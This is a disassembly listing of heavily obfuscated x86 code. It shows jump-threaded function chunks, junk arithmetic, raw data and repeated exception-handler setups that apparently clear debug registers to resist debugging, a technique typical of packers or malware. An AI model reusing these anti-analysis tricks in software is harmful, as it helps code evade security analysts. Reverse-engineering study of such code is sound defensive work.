; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4388F8:				; CODE XREF: sub_439ED1:loc_43D054j
		sub	ebp, 0C541B7BCh
		jmp	loc_439F20
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		xor	ecx, ebx
		jmp	loc_43D417
; ---------------------------------------------------------------------------
		align 4
		dd 0CA8B5100h, 0BA240C87h, 43CB01h, 56EFE9h, 81CC8B00h
		dd 10C1h, 0C7098B00h, 1001301h,	18C18100h, 0E9000000h
		dd 0FFFFFB57h, 1890000h, 4C181h, 1890000h, 4AA1E957h, 0F000000h
		dd 16368Dh, 8B000000h, 37C981F8h, 5A396F48h, 80EE8B68h
		dd 1621E910h, 81000000h, 0AF4D72F0h, 18C08194h,	9D9D12E2h
		dd 0E9240487h, 45F7h, 0D0810000h, 12886761h, 5B92E9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_438989	proc near		; DATA XREF: _802izwe5:0043C09Do

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438C5B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00438C80 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043DB65 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043E0C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EA47 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		push	6870FD32h
		pop	ecx
		or	ecx, 2D0F149Bh
		jmp	loc_438C5B
sub_438989	endp

; ---------------------------------------------------------------------------
		dd 1890000h, 4C181h, 1890000h, 4C181h, 1890000h, 378E9h
					; CODE XREF: sub_4393E2+31FDj
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BFFF


loc_4389B9:				; CODE XREF: sub_43BFFF-3D92j
		push	ecx
		jmp	loc_439A17
; END OF FUNCTION CHUNK	FOR sub_43BFFF
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4389C0:				; CODE XREF: sub_439ED1:loc_439FECj
		push	ecx
		jmp	loc_43DB45
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		jg	loc_439762
		cdq
		test	ecx, ebx
		jmp	loc_43ECFA
; ---------------------------------------------------------------------------


loc_4389D6:				; CODE XREF: _802izwe5:loc_43DF04j
		push	edi
		pushf
		push	57A5C09Eh
		pop	edi
		add	edi, 7CDAE7B1h
		jmp	loc_43B3AB
; ---------------------------------------------------------------------------
		align 2
		dw 840Fh
		dd 5032h, 2FE4E900h, 0
; ---------------------------------------------------------------------------
		rol	ebp, 1Bh
		mov	ecx, 0D5682Ah
		sub	eax, esi
		jmp	loc_43DA22
; ---------------------------------------------------------------------------
		align 4
		dd 81018900h, 4C1h, 81018900h, 0A0C1h, 4D99E900h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438A20:				; CODE XREF: sub_439ED1+579Dj
		mov	byte ptr [esi],	0C3h
		pop	esi
		push	offset byte_43ACC3
		jmp	loc_43D6DA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		jo	loc_43CB58
		xchg	edx, [esp]


loc_438A39:				; CODE XREF: _802izwe5:0043D4CBj
		pop	edx
		push	8C66B0C1h
		pop	edx
		rol	edx, 13h
		jmp	loc_438E58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438A48:				; CODE XREF: sub_439ED1+4FEFj
		add	ebx, 1F08C5DFh
		or	ebx, 2B0F7CF4h
		xor	ebx, 1086B129h
		add	ebx, 0D50A2129h


loc_438A60:				; DATA XREF: sub_43ECCE+1o
		rol	dword ptr [edi+0C3241Ch], 0
		mov	edx, [eax]
		jmp	loc_43AD56
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_438A6E	proc near		; DATA XREF: _802izwe5:004395C4o

; FUNCTION CHUNK AT 0043AE0F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043B46C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DFBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E422 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F926 SIZE 0000001C BYTES

		call	loc_43C85A
		jmp	loc_43B46C
sub_438A6E	endp

; ---------------------------------------------------------------------------
		dd 0E9510000h, 2E6Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438A82:				; CODE XREF: sub_439ED1+597j
					; DATA XREF: sub_43B338-27DBo
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		sub	eax, edx
		jmp	loc_43A42A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		push	ecx
		jmp	loc_43AA10
; ---------------------------------------------------------------------------
		dw 8700h
		dd 1C872404h, 5BC38B24h, 1CE8D503h, 25h
		dd 0B6B0C681h		; DATA XREF: _802izwe5:loc_43B7EEo
		db 0B7h, 0F1h
word_438AB2	dw 872Dh		; DATA XREF: sub_439ED1+8D6o
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	offset loc_43BFAD
		jmp	locret_43E592
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		dw 0E900h
		dd 5CACh, 5F243C87h, 0C1EBC181h, 0C870455h, 45BEE924h
		dd 0C2810000h, 0B202E213h, 7CF9E281h, 0EA8142EEh, 890EAD23h
		dd 0C6F1F281h, 0CA03B7B5h, 0FFFB28E9h, 87D587FFh, 6759240Ch
		dd 36FF64h, 89646700h, 0E9000026h, 2426h, 2D77E951h, 0C30000h
		dd 58D8E9h, 4D685100h, 597C5F3Dh, 810CC1C1h, 0CECA03E9h
		dd 0EFC181EFh, 0E9FC3DEBh, 6E65h, 68F6467h, 4870000h, 0FF685824h
		dd 0E9004373h, 3B22h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B338


loc_438B4D:				; CODE XREF: sub_43B338+15j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_438A82
		jmp	loc_438E8B
; END OF FUNCTION CHUNK	FOR sub_43B338
; ---------------------------------------------------------------------------
		dd 0DD880F00h, 0F000024h, 0FFE71E8Fh, 811F89FFh, 5B58EAF0h
		dd 3DC3E9C9h, 0F7000000h, 0ECCFE9D1h, 0F00FFFFh, 60486h
		dd 0E8EA8B00h, 6AB5h, 5CE90000h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438378


loc_438B9F:				; CODE XREF: sub_438378+Cj
		jmp	loc_43F445
; END OF FUNCTION CHUNK	FOR sub_438378
; ---------------------------------------------------------------------------
		dd 1FC88158h, 0F9E2878h, 0FFEEF088h, 5CE3E9FFh,	6AE90000h
					; CODE XREF: sub_439ED1+2B43j
		dd 2300002Ah, 0E9D1F7DFh, 22B4h, 0C181018Ah, 9Ch, 0C1810100h
		dd 4, 0EA8601C7h, 0C0330043h, 13D5E959h, 34E80000h, 0E900005Fh
		dd 3C1Bh, 240C8700h, 81C50359h,	3202DEC0h, 8700541Dh, 33E92404h
		dd 0FFFFF0h

; =============== S U B	R O U T	I N E =======================================



sub_438C04	proc near		; CODE XREF: sub_439ED1+44Cp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00437B4C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BEB7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043D6CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E6C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043F5F0 SIZE 00000016 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		pushf
		jmp	loc_437B4C
sub_438C04	endp

; ---------------------------------------------------------------------------
		align 4


loc_438C18:				; CODE XREF: _802izwe5:loc_43BA2Fj
		push	3B4FD961h
		pop	eax
		sub	eax, 7CEB088Eh
		xor	eax, 0BE64D0D7h
		add	ecx, eax
		pop	eax
		mov	[ecx], eax
		push	ebx
		jmp	loc_43B43A
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 126C85h, 6CF78100h, 67181EF2h, 68F64h, 24048700h, 9C098B58h
		dd 7101EA68h, 2952E9E4h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438989


loc_438C5B:				; CODE XREF: sub_438989+12j
		rol	ecx, 0Bh
		add	ecx, 31C23F7Fh
		and	ecx, 8D4CCC6Bh
		xor	ecx, 0FEFFF795h
		out	0Ch, al		; DMA controller, 8237A-5.
					; clear	byte pointer flip-flop.
		and	al, 0E9h
		jmp	loc_438C80
; END OF FUNCTION CHUNK	FOR sub_438989
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438C7A:				; CODE XREF: sub_439ED1-255Bj
		mov	dword ptr [ecx], 10013h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; START	OF FUNCTION CHUNK FOR sub_438989


loc_438C80:				; CODE XREF: sub_438989+2EBj
		add	ecx, 18h
		mov	al, [ecx]
		push	eax
		push	0E5491936h
		pop	eax
		rol	eax, 15h
		sub	eax, 0B147109Ch
		jmp	loc_43E0C7
; END OF FUNCTION CHUNK	FOR sub_438989
; ---------------------------------------------------------------------------
		align 2
		xchg	eax, [edi]
		add	ecx, ebp
		jmp	loc_4384B4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F088


loc_438CA8:				; CODE XREF: sub_43F088-1B4Fj
		jmp	near ptr byte_438291+2
; END OF FUNCTION CHUNK	FOR sub_43F088
; ---------------------------------------------------------------------------
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_438CAF:				; CODE XREF: sub_43C65A-355Bj
		jmp	loc_43F717
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4378C2


loc_438CB5:				; CODE XREF: sub_4378C2+10j
		jmp	loc_43B3C8
; END OF FUNCTION CHUNK	FOR sub_4378C2
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_438CBC	proc near		; CODE XREF: sub_43EDF7+3p

; FUNCTION CHUNK AT 0043C494 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F4C6 SIZE 00000006 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43C494
sub_438CBC	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		adc	al, 24h
		jmp	loc_43F15E
; ---------------------------------------------------------------------------
		align 4
		dd 0E900C300h, 2FC1h	; CODE XREF: _802izwe5:0043CF93j
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438CE2:				; CODE XREF: sub_439ED1+6E7j
		jmp	loc_43A33B
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		jmp	locret_439935
; ---------------------------------------------------------------------------
		align 2
		cmp	eax, edi
		jmp	loc_43C8D8
; ---------------------------------------------------------------------------
		db 2 dup(0), 33h
; ---------------------------------------------------------------------------
		rol	byte ptr [ecx+4C1h], 0
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43E565
; ---------------------------------------------------------------------------
		dd 0C30000h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_438D18:				; CODE XREF: sub_43DA03-1A63j
		jmp	loc_43BA15
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_438D1E	proc near

var_4		= dword	ptr -4

		push	eax
		mov	eax, ebx
		xchg	eax, [esp+4+var_4]
		push	offset byte_43F12B
		jmp	nullsub_46
sub_438D1E	endp

; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0F28FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438D36:				; CODE XREF: sub_439ED1-FD7j
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43CDF8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_438D53:				; DATA XREF: _802izwe5:0043D42Do
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		push	ebx
		push	1431977h
		pop	ebx
		add	ebx, 89094DFCh
		xor	ebx, 8A4C6777h
		add	ecx, ebx
		jmp	loc_43CEEB
; ---------------------------------------------------------------------------
		align 2
		jno	loc_43BA7E
		add	eax, 21F86EBCh
		cmp	ecx, edx
		jmp	loc_43CF86
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438D8A:				; CODE XREF: sub_439ED1+B4Dj
		xchg	eax, [esp+0]
		push	edx
		push	0A2E0D93Bh
		pop	edx
		xor	edx, 0D7DB54ABh
		and	edx, 77E36C36h
		xor	edx, 75230D10h
		or	eax, edx
		jmp	loc_43ACB8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_438DAF:				; CODE XREF: sub_43C65A+2652j
		jmp	loc_43A252
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 0F6E90000h, 58h, 4CAE9h, 8B000000h ;	CODE XREF: sub_43BC68+Cj
		db 12h,	0B9h, 2Ah
byte_438DC7	db 0E9h			; DATA XREF: sub_439ED1-1ACEo
; ---------------------------------------------------------------------------
		movsb
		jnz	loc_43E49C
		jmp	loc_43E495
; ---------------------------------------------------------------------------
		cmp	ecx, 0ECF12CDh
		jmp	loc_43F28C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438DE0:				; CODE XREF: sub_439ED1+476Cj
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_438DE4	proc near		; CODE XREF: sub_439ED1+DBp
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43A231
sub_438DE4	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 0Bh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_438DF9:				; CODE XREF: _802izwe5:loc_43C07Fj
		pop	ebx
		xchg	eax, [esp]
		popf
		nop
		jmp	loc_43A499
; ---------------------------------------------------------------------------
		dd 0CCC28100h, 8B52F2E8h
; ---------------------------------------------------------------------------
		adc	dh, [eax]	; DATA XREF: sub_439ED1:loc_43B74Do
		call	sub_43DF68
		xchg	edi, [esp]
		push	edi
		jmp	loc_43E0C0

; =============== S U B	R O U T	I N E =======================================



sub_438E1C	proc near		; CODE XREF: _802izwe5:0043BF93j
					; sub_439ED1:loc_43EE54p

; FUNCTION CHUNK AT 00438371 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		push	offset loc_43B452
		jmp	loc_438371
sub_438E1C	endp

; ---------------------------------------------------------------------------
		dd 87F51300h, 8B5B241Ch
; ---------------------------------------------------------------------------


loc_438E48:				; DATA XREF: _802izwe5:loc_4383BAo
		adc	cl, [eax-0FB2E4FEh]
		push	offset sub_43EDF7
		jmp	locret_43EDEB
; ---------------------------------------------------------------------------


loc_438E58:				; CODE XREF: _802izwe5:00438A43j
		test	edx, 80000000h
		jmp	loc_43D4BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_438E63:				; CODE XREF: sub_43C65A:loc_43DEC2j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43E642
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438E78:				; CODE XREF: sub_439ED1+5D3j
					; DATA XREF: sub_43C65A-4FA4o
		pop	dword ptr fs:0


loc_438E7E:				; CODE XREF: _802izwe5:loc_4391FFj
		xchg	eax, [esp+0]
		xchg	ebp, [esp+0]
		mov	eax, ebp
		jmp	loc_43AA8F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B338


loc_438E8B:				; CODE XREF: sub_43B338-27D5j
		xor	eax, eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43B338
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437DA2


loc_438E91:				; CODE XREF: sub_437DA2+3j
		jmp	loc_43ED7B
; END OF FUNCTION CHUNK	FOR sub_437DA2
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_438E98:				; CODE XREF: sub_43C65A:loc_43B0F2j
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43E1F1
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438EAB:				; CODE XREF: sub_439ED1:loc_439FD7j
		add	esi, 0DFA5178Dh
		push	ebx
		mov	ebx, offset dword_43B7C4
		jmp	loc_43E71C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		push	0C6092053h
		not	ebx
		or	ebp, edi


loc_438EC5:				; DATA XREF: sub_439ED1+3711o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		mov	byte ptr [edx],	87h
		jmp	loc_43D05B
; ---------------------------------------------------------------------------
		align 4
		dd 0B1DF8100h, 0E9EE2352h, 4A44h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438EE5:				; CODE XREF: sub_439ED1:loc_43BE28j
		sub	eax, 97E55583h
		xor	eax, 0D233C671h
		add	eax, 64342A35h
		add	ecx, eax
		pop	eax
		jmp	loc_438D36
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		dd 0E7E9CCF0h, 56000022h, 50A368F9h, 815E49BBh,	34E2C4CEh
					; CODE XREF: sub_43AE83+Ej
		dd 733068EFh, 42E90043h, 30h, 528D0F00h, 68000021h, 0BAB1F42Dh
		dd 31BE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438F33:				; CODE XREF: sub_439ED1:loc_43AB29j
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	sub_438026
		xor	eax, eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4


loc_438F4C:				; CODE XREF: _802izwe5:0043E2A0j
		jmp	loc_43A591
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_438F53:				; CODE XREF: _802izwe5:0043DD96j
		jmp	near ptr dword_437548+0E0h
; ---------------------------------------------------------------------------
		dd 10E90000h, 48h, 248CE9h ; CODE XREF:	sub_439ED1+2D55j
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F734


loc_438F65:				; CODE XREF: sub_43F734-64C7j
		jmp	loc_43DAB2
; END OF FUNCTION CHUNK	FOR sub_43F734
; ---------------------------------------------------------------------------
		dw 5100h
; ---------------------------------------------------------------------------
		jmp	loc_43B13C
; ---------------------------------------------------------------------------
		align 2


loc_438F72:				; CODE XREF: _802izwe5:0043C21Cj
		add	eax, ebp
		add	eax, 23086D3Ah
		mov	eax, [eax]
		call	loc_43A0E9
		jmp	loc_43D898
; ---------------------------------------------------------------------------
		dw 850Fh
		dd 0FFFFE223h, 5A9DE900h, 0ECB90000h, 814501D7h, 0E4DC5AE1h
		dd 8BD1F774h, 0F440E9F3h, 0FFFFh, 5C43E95Bh, 68000000h
		dd 0C761F695h, 0F0C98159h, 81174ECAh, 0B22307C1h, 1EC1C143h
		dd 1AD3E9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_438FC9	proc near		; CODE XREF: sub_43F734:loc_43CD74p

; FUNCTION CHUNK AT 0043C507 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [ebx],	9Dh
		pop	ebx
		call	loc_43EAE9
		jmp	loc_43C507
sub_438FC9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438FDC:				; CODE XREF: sub_439ED1+17Aj
		add	edx, 0F37EBA56h


loc_438FE2:				; DATA XREF: _802izwe5:0043BC4Bo
		pop	dword ptr fs:0
		xchg	eax, [esp-0Ch+arg_8]
		pop	eax
		popf
		add	ecx, eax
		pop	eax
		jmp	loc_43C43D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		add	esi, ebp
		cmp	eax, esi
		jmp	loc_4391FF
; ---------------------------------------------------------------------------
		dw 8100h
		dd 1F5A4EC7h, 5FCF0337h, 0C1810100h, 4,	0F32A01C7h, 8DE90043h
		dd 0FFFFE4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43901D:				; CODE XREF: sub_43F18B-39D8j
		xchg	esi, [esp+0]
		mov	eax, esi
		pop	esi
		xor	esi, 55D5B7F7h
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
byte_439029	db 81h,	87h, 34h	; DATA XREF: sub_439ED1-4D1o
		dd 5213E824h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439032:				; CODE XREF: sub_439ED1+3157j
		jmp	loc_43E316
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 17C9C100h, 9DDE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_439043:				; CODE XREF: _802izwe5:loc_43CEEBj
		pop	ebx
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	eax
		push	0F39A0437h
		jmp	near ptr dword_437428+0F6h
; ---------------------------------------------------------------------------
		align 2
		dw 0C287h
		dd 49DBE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_439063:				; CODE XREF: sub_43BE3C+1A96j
		push	91AA73A1h
		pop	eax
		or	eax, 0DAFE7AF3h
		add	eax, 82E965B2h
		and	eax, 0D9E7313Ch
		call	loc_43A3F7
		jmp	loc_43CA8A
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		align 2
		xor	ebx, 39B62599h
		add	ecx, ebx
		pop	ebx
		mov	dword ptr [ecx], 438237h
		xor	eax, eax
		jmp	loc_43E3CB
; ---------------------------------------------------------------------------
		dd 850F0000h, 2B3Eh, 0FFE954E9h, 0E1E900FFh, 15h, 355FE900h
					; CODE XREF: sub_43F4F1+Cj
		dd 46680000h, 99C8119Eh, 2B1CE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_4390C1:				; CODE XREF: sub_43F18B:loc_43AEC7j
		call	sub_437DA2
		call	sub_4390D8
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		db 0
		dd 1062E900h, 0DE810000h, 9B8BC6E4h

; =============== S U B	R O U T	I N E =======================================



sub_4390D8	proc near		; CODE XREF: sub_43F18B-60C5p

; FUNCTION CHUNK AT 0043BFE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CDBC SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	nullsub_26
		jmp	loc_43BFE3
sub_4390D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_4390E7:				; CODE XREF: sub_43C65A:loc_437F98j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_438CAF
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 5EE9F785h, 0FFFFF3h,	0C1810189h, 4, 0C1810189h, 4, 0BCE90189h
		dd 56h,	0C302C600h, 0B1E8505Ah,	63h, 0C181CC8Bh, 10h, 1C7098Bh
		dd 10013h, 18C181h, 18A0000h, 0FFF2E1E9h, 810000FFh, 518C5EDBh
		dd 73EA81E4h
		db 0E0h, 0D5h, 0F3h
; ---------------------------------------------------------------------------


loc_43915B:				; DATA XREF: sub_439ED1+9C0o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		jmp	loc_43EAC7
; ---------------------------------------------------------------------------
		align 10h

locret_439170:				; CODE XREF: _802izwe5:0043DE65j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_439171:				; CODE XREF: sub_43BE3C+182Dj
		jmp	loc_43958E
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		align 4
		dd 0FFF625E9h, 810000FFh, 0F663D6F2h, 68D50312h, 438E05h
		dd 0FFFB57E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_439193:				; CODE XREF: _802izwe5:loc_43E8DEj
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	byte_43A901
		jmp	loc_43DC8D
; ---------------------------------------------------------------------------
		align 10h
		cmp	ebp, 0BE6B3689h
		jmp	loc_439BD6
; ---------------------------------------------------------------------------
		align 4
		xor	esi, 2CCE0FF0h


loc_4391C2:				; CODE XREF: _802izwe5:loc_437EC8j
		jl	loc_43F87B
		jmp	loc_43D162
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 0FAB3B3F2h, 0EC36E979h, 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_4391DC	proc near		; DATA XREF: sub_439ED1+54FFo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438261 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BBF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F252 SIZE 00000014 BYTES

		push	ebx
		mov	ebx, offset loc_43D167
		jmp	loc_438261
sub_4391DC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43F7BD


loc_4391E8:				; CODE XREF: sub_43F7BD+6j
		mov	byte ptr [ebx],	87h
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		mov	esi, ecx
		pop	ecx


loc_4391F2:				; DATA XREF: sub_43F7BD+1o
		inc	edx
		sbb	al, 24h
		mov	esi, ebx
		pop	ebx
		jmp	loc_43994E
; END OF FUNCTION CHUNK	FOR sub_43F7BD
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4391FF:				; CODE XREF: _802izwe5:00438FF9j
		jl	loc_438E7E
		jnz	loc_4383BA
		pushf
		or	ebp, edi
		jmp	loc_43D3AA
; ---------------------------------------------------------------------------
unk_439213	db    0			; CODE XREF: _802izwe5:loc_43E255j
; ---------------------------------------------------------------------------
		add	[ecx+4C1h], eax
		add	bh, al
		add	ecx, esi
		fadd	dword ptr [ebx+0]
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439226:				; CODE XREF: sub_439ED1+A28j
		jmp	loc_43EAFD
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
dword_43922C	dd 0FF646700h, 67000036h, 268964h, 1F8CE900h, 3C60000h
		dd 0C6C15B9Ch, 18CFE81Eh, 0
; ---------------------------------------------------------------------------
		shl	ebx, 6
		push	55FCF814h
		ja	loc_437ECE
		pop	dword ptr fs:0
		jmp	loc_43773A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F734


loc_439267:				; CODE XREF: sub_43F734+14j
		cmp	edx, 11EF2C1h
		jmp	loc_438F65
; END OF FUNCTION CHUNK	FOR sub_43F734
; ---------------------------------------------------------------------------


loc_439272:				; CODE XREF: _802izwe5:0043F872j
		shr	ebp, 1
		push	ebx


loc_439275:				; DATA XREF: sub_439ED1:loc_43A4EEo
		pop	dword ptr fs:0
